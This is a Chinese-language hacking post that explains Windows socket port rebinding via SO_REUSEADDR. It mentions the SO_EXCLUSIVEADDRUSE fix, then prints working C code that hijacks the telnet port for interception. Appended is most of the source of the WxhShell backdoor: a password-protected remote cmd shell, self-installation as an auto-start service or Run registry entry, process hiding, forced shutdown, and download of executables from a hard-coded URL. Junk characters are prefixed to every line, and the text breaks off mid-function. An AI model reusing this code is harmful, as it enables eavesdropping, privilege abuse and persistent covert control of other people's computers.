在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Q< q&a8~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1L=6Z2*fB4 G#pRBA^ saddr.sin_family = AF_INET;
u{o!#_o64 e:~r_,K saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0`
{6~p F9Ag687w bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
.#]
V5g, R""P01IZH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
oVLgH B\zL ]$>O-- 这意味着什么?意味着可以进行如下的攻击:
i:ZL0nH- jB17]OCN 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
H-sJt: 1.Ximom 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8SGFzb! h BF_R8H,<% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
v{}i`|~J @ KhDQ0v]5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a JC, +hIStA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\+cU} x)SW1U3TVx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
b$f@.L (1pxQ%yEA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
UtF8T6PKdW ;:a>#{N #include
@k!J}O
K #include
]mN'Qoc #include
&_^t$To #include
W(oJ{R&m{ DWORD WINAPI ClientThread(LPVOID lpParam);
]Fc<%wzp int main()
K{}U[@_tS {
#-_';Er\ WORD wVersionRequested;
U9[
&ci DWORD ret;
' {L5 3cH= WSADATA wsaData;
S`Jo^!VJ4 BOOL val;
:)UF# SOCKADDR_IN saddr;
8X@p?43 SOCKADDR_IN scaddr;
S0\;FmLIc int err;
7|IOn5 SOCKET s;
E*ug.nxy SOCKET sc;
fAu^eS%>7 int caddsize;
^
2"r't HANDLE mt;
?v-( :OF DWORD tid;
RnN]m!"5 wVersionRequested = MAKEWORD( 2, 2 );
tSVN}~1\ err = WSAStartup( wVersionRequested, &wsaData );
,m-z D if ( err != 0 ) {
|D %m>M6 printf("error!WSAStartup failed!\n");
+0016UgS# return -1;
NW'rqgG }
K85;7R5 saddr.sin_family = AF_INET;
!1tHg Z2\ }7>r, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:1q)l s4@dEK8W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2F0@M|' saddr.sin_port = htons(23);
[X'XxYbZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qn VxP& {
(j^Qa~{mG4 printf("error!socket failed!\n");
4aAuE0 return -1;
d%:B,bck }
2NHkK_B1P val = TRUE;
uXX3IE[ //SO_REUSEADDR选项就是可以实现端口重绑定的
o5 UM)g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+*2 ]R~"M {
$niJw@zC printf("error!setsockopt failed!\n");
zI5#'<n return -1;
Wj"\nT4 }
M]O
_L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
IJxBPwh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
nyyKA_#:5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"+oP((9 i`3h\ku if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`ZCeuOH {
UQ;ymTqdc ret=GetLastError();
,m| :U printf("error!bind failed!\n");
V
_(L/6 return -1;
9qUc{ydt }
S+^*rw listen(s,2);
rBd}u+:* while(1)
:+%"kgJNL {
{9kH<,PJ;! caddsize = sizeof(scaddr);
C&\MDOjx //接受连接请求
v~f_~v5J! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
aDrF"j if(sc!=INVALID_SOCKET)
s}8(__| {
/5qeNjI+2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!~+"TI}_%w if(mt==NULL)
'R&Y pR {
X]^FHYjhS printf("Thread Creat Failed!\n");
ftS^|%p break;
@>Y.s6a }
: +Na8\d }
DQC=f8 CloseHandle(mt);
+Bg$]~T }
Lnin;0~{ closesocket(s);
T r|B:)X WSACleanup();
~HWH2g return 0;
q]%eLfC( }
97 Oi} DWORD WINAPI ClientThread(LPVOID lpParam)
nQe^Bn {
o~Jce$X SOCKET ss = (SOCKET)lpParam;
b-Q*!Ut SOCKET sc;
7jss3^.wA unsigned char buf[4096];
xLxXc!{J5 SOCKADDR_IN saddr;
=L,s6J8_' long num;
i2. +E&3v DWORD val;
%gK@R3p DWORD ret;
c1!0Z28 //如果是隐藏端口应用的话,可以在此处加一些判断
}I3 ZNd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0rM'VgB saddr.sin_family = AF_INET;
;WydXQ}Q^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eIZ7uSl saddr.sin_port = htons(23);
yQAW\0` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y nD_:ZK {
5c(mgEvq printf("error!socket failed!\n");
F#0y0| return -1;
m2%OX"# e }
'o D31\@I val = 100;
up(6/-/.7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7Cx*Ts $ {
V*xo3hU ret = GetLastError();
Hz?C9q3BX return -1;
RKI BFP8. }
&hTe-Es if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~.FeLWP {
"H{Etb/ ret = GetLastError();
9T`$gAI return -1;
9%+Nzo(Fd
}
v BP
5n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Y^ Of {
MR= dQc printf("error!socket connect failed!\n");
EESGU( closesocket(sc);
vy:-a G closesocket(ss);
T\ixS-%^ return -1;
pr\wI?:k }
g 0Rny while(1)
;kW+ {
q mJ#cmN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9' $\GN{0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
, %8keGhl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
LS"_-4I} num = recv(ss,buf,4096,0);
xqZZ(jZ if(num>0)
}PC_qQF send(sc,buf,num,0);
ID{62>R else if(num==0)
}s9eRmJs break;
6]%SSq& num = recv(sc,buf,4096,0);
,,FO6+4f if(num>0)
n(}cK@ send(ss,buf,num,0);
,@\$PyJ else if(num==0)
bD2):U*Fzo break;
|:H
9#= }
D^_]x51> closesocket(ss);
B//2R)HS closesocket(sc);
p`+=)
n return 0 ;
[8kufMY| }
'P AIh*qA VVd9VGvh [6ycs[{! ==========================================================
4Nb&(p *KMW6dg; 下边附上一个代码,,WXhSHELL
=,MX%-2 QL].)Vgf ==========================================================
jDO"?@+ [:hTwBRF #include "stdafx.h"
4!vovt{ 4](jV}Hg #include <stdio.h>
DB=^Z%%Z #include <string.h>
}s@
i #include <windows.h>
i?HN #include <winsock2.h>
EPd9'9S #include <winsvc.h>
eNHSfq #include <urlmon.h>
=<BPoGs5 S9
p*rk~ #pragma comment (lib, "Ws2_32.lib")
h^B~Fv>~ #pragma comment (lib, "urlmon.lib")
8|cQW-L [-5l=j
r #define MAX_USER 100 // 最大客户端连接数
~ERA #define BUF_SOCK 200 // sock buffer
TPBL|^3K #define KEY_BUFF 255 // 输入 buffer
r_"=DLx6 pu"m(9 #define REBOOT 0 // 重启
U} K]W>Z #define SHUTDOWN 1 // 关机
Hf$pwfGcY] 3D}rxI8N #define DEF_PORT 5000 // 监听端口
Ii.?|
u PHxU6UPqy #define REG_LEN 16 // 注册表键长度
FQlYCb #define SVC_LEN 80 // NT服务名长度
-$2B!#]3 /bSAVSKR // 从dll定义API
GG=R!+p2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{ Mv$~T|e7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
.UGbo.e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-f-@[; D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TOH+JL8L srGF=1_ // wxhshell配置信息
lZ*V.-D^] struct WSCFG {
S^c;i int ws_port; // 监听端口
WV8vDv1jt char ws_passstr[REG_LEN]; // 口令
F97HFt6{ int ws_autoins; // 安装标记, 1=yes 0=no
IaHu$` v char ws_regname[REG_LEN]; // 注册表键名
Y00hc8< char ws_svcname[REG_LEN]; // 服务名
/5wIbmz@I char ws_svcdisp[SVC_LEN]; // 服务显示名
%.rVIc" char ws_svcdesc[SVC_LEN]; // 服务描述信息
.4cVX|T char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|?gO@?KDZ int ws_downexe; // 下载执行标记, 1=yes 0=no
N<N uBtkA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
NI^jQS
M] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}2]m]D@%7 PK&\pkX };
4(D1/8 "*T4%3dA // default Wxhshell configuration
2v\<MrL struct WSCFG wscfg={DEF_PORT,
lD-HQd "xuhuanlingzhe",
s#p\ r 1,
Qn!KL0w "Wxhshell",
khb/"VYd "Wxhshell",
\c\z 6;j "WxhShell Service",
(7*(( "Wrsky Windows CmdShell Service",
haSC[[o= "Please Input Your Password: ",
]Vm:iF#5P 1,
>4G~01 "
http://www.wrsky.com/wxhshell.exe",
Q3'L\_1L "Wxhshell.exe"
BCI[jfd 7 };
<- (n48 \sEH)$R' // 消息定义模块
_@D"XL#L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[Te"|K ': char *msg_ws_prompt="\n\r? for help\n\r#>";
\Gm\sy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
laQ{nSVBm char *msg_ws_ext="\n\rExit.";
>$:_M*5 char *msg_ws_end="\n\rQuit.";
nJ|M char *msg_ws_boot="\n\rReboot...";
d "%6S*dL char *msg_ws_poff="\n\rShutdown...";
M\D25=( char *msg_ws_down="\n\rSave to ";
x>GxyVE 8D&yFal char *msg_ws_err="\n\rErr!";
SH5a&OVZhn char *msg_ws_ok="\n\rOK!";
1~ZFkcV_C j2`%sBo char ExeFile[MAX_PATH];
.L8g(F(=: int nUser = 0;
L#`Vr$ HANDLE handles[MAX_USER];
s(8e)0Tl int OsIsNt;
'&!:5R5 9 c2Yrg@) [ SERVICE_STATUS serviceStatus;
v
8B4%1NE SERVICE_STATUS_HANDLE hServiceStatusHandle;
-+z8bZ miB+'n"zS // 函数声明
uhvn1" int Install(void);
*q*$%H int Uninstall(void);
y41~ int DownloadFile(char *sURL, SOCKET wsh);
h1+y.4
int Boot(int flag);
+GL[uxe" void HideProc(void);
D}OhmOu3 int GetOsVer(void);
Zo#c[9IaC int Wxhshell(SOCKET wsl);
|.?Xov] void TalkWithClient(void *cs);
D zdKBJT + int CmdShell(SOCKET sock);
K)#6&\0tT int StartFromService(void);
ld[BiP`B2V int StartWxhshell(LPSTR lpCmdLine);
"Ky&x$dje Vs9]Gm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|lMc6C VOID WINAPI NTServiceHandler( DWORD fdwControl );
B4eV $~< PB;j4 // 数据结构和表定义
#]*]qdQWV^ SERVICE_TABLE_ENTRY DispatchTable[] =
NJmyp!8 {
>^GAfvW {wscfg.ws_svcname, NTServiceMain},
"V<WC" {NULL, NULL}
oIGF=x,e8 };
5 89P$2e1X t[p/65L>8 // 自我安装
@;7Ht Z` int Install(void)
9R99,um$ {
9cQ;h37J> char svExeFile[MAX_PATH];
UG=],\E2 HKEY key;
w,-4A
o2x strcpy(svExeFile,ExeFile);
VK%
j45D ` ttY[\D&ZS // 如果是win9x系统,修改注册表设为自启动
xm0(U0
> if(!OsIsNt) {
I_is3y0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q"u,r6ED RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7`SrqI& RegCloseKey(key);
g4Nl"s*~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Rnw v/) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%+oV-o\ #A RegCloseKey(key);
=}%Q}aPp return 0;
kZ'wXtBYe }
S\sy] 1*?$ }
5l]qhi3f }
[tkP2%1 else {
BFQ`Ab+ J@qwz[d i // 如果是NT以上系统,安装为系统服务
Xb.#
=R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(!% w if (schSCManager!=0)
]RxWypA` {
T/?C_i SC_HANDLE schService = CreateService
#c(BBTuX (
B:6VD /qC schSCManager,
0,wmEV!) wscfg.ws_svcname,
9P*p{O{_ wscfg.ws_svcdisp,
1"No~/_ SERVICE_ALL_ACCESS,
$9ys!
<g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
H^JFPvEc SERVICE_AUTO_START,
KeWIC,kq SERVICE_ERROR_NORMAL,
]Y3s5#n svExeFile,
jZ0/@zOf NULL,
^qNZ!V4T NULL,
,|?rt`8)Q NULL,
zKQXmyO NULL,
c@lH NULL
*0z'!m12 );
Ebp=du if (schService!=0)
{-51rAyi {
$AHdjQ[;6- CloseServiceHandle(schService);
}CvhLjo CloseServiceHandle(schSCManager);
pg3h>)$/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\9 k3;zw strcat(svExeFile,wscfg.ws_svcname);
>g,i"Kg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
s lYC\"$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$$eBr8 RegCloseKey(key);
vvP]tRZ return 0;
Bkdt[qDn5P }
%t%D|cf }
`.F3&pA CloseServiceHandle(schSCManager);
Muok">#3. }
f\~A72- }
P9M. J^< l@g%A#
_ return 1;
v\R-G }
f`-UC_(; 5>>JQ2'W // 自我卸载
s} oD?h:T3 int Uninstall(void)
`%$+rbo~ {
sV`p3L8pl HKEY key;
zd3^k< ~N8$abQJV if(!OsIsNt) {
m{by% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mA4]c
RegDeleteValue(key,wscfg.ws_regname);
Q1P=A:*]9 RegCloseKey(key);
S'=}eeG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7w.9PNhy RegDeleteValue(key,wscfg.ws_regname);
hlGrnL RegCloseKey(key);
RP%FMb}nt return 0;
SA{5A 1 }
ddw^oU }
!BN@cc[% }
(f
else {
j`%a2 vA*Q}]Ov SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
WNF#eM?[a if (schSCManager!=0)
s ?|Hw|j {
BO'7c1FU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2{4f>,][ if (schService!=0)
v8>bR|n5 {
AL*M`m_ if(DeleteService(schService)!=0) {
U<wM#l
P|Z CloseServiceHandle(schService);
Sw`+4
4 CloseServiceHandle(schSCManager);
;Mz7emt return 0;
WT:ZT$W }
40%<E CloseServiceHandle(schService);
c. }#.-b8 }
z7R2viR[ CloseServiceHandle(schSCManager);
"X\6tl7a| }
H4uHCkj }
fy={ 7,FhKTV1/ return 1;
uEr[' > }
e,T^8_> qD{~QHDa // 从指定url下载文件
_ c,{}sn int DownloadFile(char *sURL, SOCKET wsh)
; - 8] {
TnJNs HRESULT hr;
WntolYd char seps[]= "/";
/#!1 char *token;
F-GH?sfvi char *file;
-(9TM*)O char myURL[MAX_PATH];
:Q"p!,X=- char myFILE[MAX_PATH];
!wH'dsriD HrHtA] strcpy(myURL,sURL);
b&*N token=strtok(myURL,seps);
JwdvY] while(token!=NULL)
LQJC ]*b1 {
n= FOB0= file=token;
.Xk#Cwm' token=strtok(NULL,seps);
a$$aM2.2 }
Dmr3r[ '?d5L+9 GetCurrentDirectory(MAX_PATH,myFILE);
H Yw7* strcat(myFILE, "\\");
t_id/ strcat(myFILE, file);
d?N[bA
send(wsh,myFILE,strlen(myFILE),0);
MC%!>,tC send(wsh,"...",3,0);
K,dEa<p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<J-.,: if(hr==S_OK)
rbI 7
3' return 0;
b
4A1M else
=jvL2ps< return 1;
`Af5%m[ X08[,P#I }
GB}!7W" K k|mV&3J // 系统电源模块
)3)x/WM int Boot(int flag)
lFa?l\jLXZ {
_Q7]Dw/w\ HANDLE hToken;
{2LV0:k2 TOKEN_PRIVILEGES tkp;
synueg qq>Qi (> if(OsIsNt) {
uLrZl0%HT~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
j9&x#U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@s|yH" tkp.PrivilegeCount = 1;
0](V@F"~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3z
-="_p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Xr{
r&Rl if(flag==REBOOT) {
Yduj3Ht:w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9
!V,++j return 0;
tkW7wP; }
i&0Zli else {
O&r9+r1` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
U_~r0 return 0;
8}?w%FsN# }
!&pk^VFl+ }
W$:D#;jz`h else {
"89L^I if(flag==REBOOT) {
ESni r6HoU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>w#&fd return 0;
%FLe@.Ep{D }
()zn8_z else {
~z7Fz"o< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
B
!Z~j T return 0;
Pa"[&{ : }
-gpHg }
M\r=i>(cu <=@6UPsn2 return 1;
Xw&vi\*m }
QsyM[; \j: m.c2y6<= // win9x进程隐藏模块
X)S4vqf} void HideProc(void)
mX GW+ {
:.SwO<j C^*}*hYk$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}[]1`2qD if ( hKernel != NULL )
&;%,Axc {
n\u3$nGL1` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~{q;
-& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i7\MVI8 FreeLibrary(hKernel);
tD6ukK1x }
$"fO/8Ex j){0>O.V return;
PKYm{wO- }
U%KsD 4B fDwqu.K // 获取操作系统版本
| v:fP;zc int GetOsVer(void)
4Q~++PKBe {
a@m
64l) OSVERSIONINFO winfo;
GP_%.fO\M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*ch7z|wo. GetVersionEx(&winfo);
A{)p#K8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$|7;(2k return 1;
eNr2-R else
SeBl*V return 0;
4_ kg/ }
o(g}eP,g} =/(R_BFna // 客户端句柄模块
wSG!.Ejc7 int Wxhshell(SOCKET wsl)
J1Oe`my {
lSBu,UQP SOCKET wsh;
r_pZK(G% struct sockaddr_in client;
)V9wU1. DWORD myID;
nS]Ih 0(K o^+g2;Ro while(nUser<MAX_USER)
+7j7zpw {
WTwura, int nSize=sizeof(client);
$mn+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#fq&yjl#A if(wsh==INVALID_SOCKET) return 1;
Sb?HRoe_ 'y|p)r" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=Iy khrS if(handles[nUser]==0)
XT{ukEvDR closesocket(wsh);
bkIQ?cl<at else
N9=?IFEe] nUser++;
PF0AU T }
|yi#6!}^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
W&e}* dQ_yb+< return 0;
<+AvbqDe }
%h&F #%.fsJNA$ // 关闭 socket
q!<n\X3]u void CloseIt(SOCKET wsh)
j Kp79]. {
:nxBM#:xu closesocket(wsh);
hf5+$^RZ nUser--;
@MfZP~T+ ExitThread(0);
ML:H\ }
APq Yf<W Qp~3DUM // 客户端请求句柄
B0m2SUC,H void TalkWithClient(void *cs)
&cT@MV5 {
`bjPOA(g CB>*(Mu SOCKET wsh=(SOCKET)cs;
"\rR0V!wA char pwd[SVC_LEN];
E6clVa char cmd[KEY_BUFF];
2I0Zr;\f char chr[1];
@c;:D`\p1C int i,j;
R&MetQ~-{ l*+9R while (nUser < MAX_USER) {
Jv59zI 3EA`]&d> if(wscfg.ws_passstr) {
h8:5[;e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EOG&Xa //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T49^ //ZeroMemory(pwd,KEY_BUFF);
5`{u! QE i=0;
C |P(,Xp while(i<SVC_LEN) {
\' >d.'d $zJ!L // 设置超时
!Er)|YP fd_set FdRead;
6yedl0@wa! struct timeval TimeOut;
h&<>nK
FD_ZERO(&FdRead);
SH;:bLk_ FD_SET(wsh,&FdRead);
V~S(cO[vj TimeOut.tv_sec=8;
D9higsN TimeOut.tv_usec=0;
Z6_fI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9lc{{)m2) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Gr!@ih^ )m>Y[)8! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\04(V'`U pwd
=chr[0]; O.$OLK;v
if(chr[0]==0xd || chr[0]==0xa) { y1kI^B
pwd=0; 'b Kc;\
break; +/!y#&C&*
} }cERCS\t
i++; Z^%aXaf8
} Aw=GvCo<
6}?5Oy_XF2
// 如果是非法用户,关闭 socket P/T`q:<H
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3/EJ^C
} Sv[$.^mb
S=g E'"LT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }/}eZCaG
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y:,m(P
u'qc=5
while(1) { `W'S'?$
m4RiF
ZeroMemory(cmd,KEY_BUFF); m" c6^)U
HKG8X="
// 自动支持客户端 telnet标准 ant#bDb/
j=0; d% Nx/DS)
while(j<KEY_BUFF) { i} ?\K>BWq
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j&"GE':Y
cmd[j]=chr[0]; ].3@ Dk
if(chr[0]==0xa || chr[0]==0xd) { @%rj1Gn
cmd[j]=0; +=#@1k~
break; .*nr3dY
} {lN G:o
j++; _!^2A3c<
} Y(h(Z
30Udba+{]p
// 下载文件 cb%ML1c
if(strstr(cmd,"http://")) { c<imqDf
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z?.XVk-
if(DownloadFile(cmd,wsh)) -e_B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /R[PsB
else EL;OYW(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Vl)q>K_h
} M
nDaag
else { "rR$2`v"
BD&AtOj[,
switch(cmd[0]) { Fz^5cxmw
V5S6?V\
// 帮助 !b'!7p
case '?': { (]sk3
A
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G'WbXX
break; m";?B1%x
} 'Jl3%axR
// 安装 15"[MX A
case 'i': { D<(VP{,G
if(Install()) JJu}Ed_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (zIF2qY
else ]QmY`pTB`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1owe'7\J
break; Ct386j><
} 884 -\M"h
// 卸载 ;Wig${
case 'r': { ~uh,R-Q$
if(Uninstall())
>^Y)@J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h#]LXs
else wo_iCjmK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0t.v
break; JVh/<A
} !=(M P:
// 显示 wxhshell 所在路径 .
/~#
case 'p': { e\ O&Xe
char svExeFile[MAX_PATH]; js)I%Z
strcpy(svExeFile,"\n\r"); {z7kW@c
strcat(svExeFile,ExeFile); a'B 5m]%
send(wsh,svExeFile,strlen(svExeFile),0); ./Wi(p{F
break; ?oQAxb&
} [OQ+&\
// 重启 mM-7
jz
case 'b': { T*zy^we
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zksow} %
if(Boot(REBOOT)) <<+Hs/ ]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bXK$H=S Bz
else { 2hE+Om^n
closesocket(wsh); UszR. Z
ExitThread(0); XMm(D!6
} vL~j6'
break; ){xMMQ5
} S<"`9r)av
// 关机 ~ ]^<*R
case 'd': { @po|07
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s]i<D9h
if(Boot(SHUTDOWN)) X.JPM{]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*+e?-
else { 81Ityd-}
closesocket(wsh); sr`)l& t?
ExitThread(0); Nt_7Z
} 7.7Z|lJ
break; e(Ub7L#
} s78V \Vw3
// 获取shell y<n<uZ;
case 's': { ej{7)#
CmdShell(wsh); Nj;G%KAP
closesocket(wsh); 7"$9js 2
ExitThread(0); `zMR?F`
break; 3k5F$wf
} $/;<~Pzi
// 退出 @4%x7%+[c
case 'x': { I)}T4OOc/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i0*6o3h
CloseIt(wsh); Nzel^~
break; FHbw&
} ~{BR~\D
// 离开 Dv-ubki
case 'q': { b'TkYa^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )GF>]|CG
closesocket(wsh); !-Md+I_
WSACleanup(); n<66 7
<
exit(1); ,: 4+hJ<q
break; C}cYG
} R#33ACCX
} 0O7VM)[
} "uHU!)J#z
6sl2vHzA
// 提示信息 =1h> N/VJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C4
@"@kbr
} hYv;*]
} bB"q0{9G-
qlIbnyP<
return; Gt5'-Hyo
} }[8Nr+y
vV 7L
:>
// shell模块句柄 3M<T}>
int CmdShell(SOCKET sock) t/0h)mL}
{ %eLf6|1x
STARTUPINFO si; .T }q"
ZeroMemory(&si,sizeof(si)); ,?Nc\Q<:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5sK1rDN
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :} 9Lb)Yp
PROCESS_INFORMATION ProcessInfo; TrC :CL
char cmdline[]="cmd"; 0FEn& \2<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hNGD`"U
return 0; ;mLbgiqQ J
} +5IC-=ZB
`]\:%+-
// 自身启动模式 I85bzzZB
int StartFromService(void) R.B3
{ 6qp'
_?
typedef struct NlV,]
$L1T
{ F~${L+^
DWORD ExitStatus; !ie'}|c
DWORD PebBaseAddress; e-/+e64Q@
DWORD AffinityMask; #ysSfM6
DWORD BasePriority; /\|AHM
ULONG UniqueProcessId; !'T,%8']
ULONG InheritedFromUniqueProcessId; ECEDNib
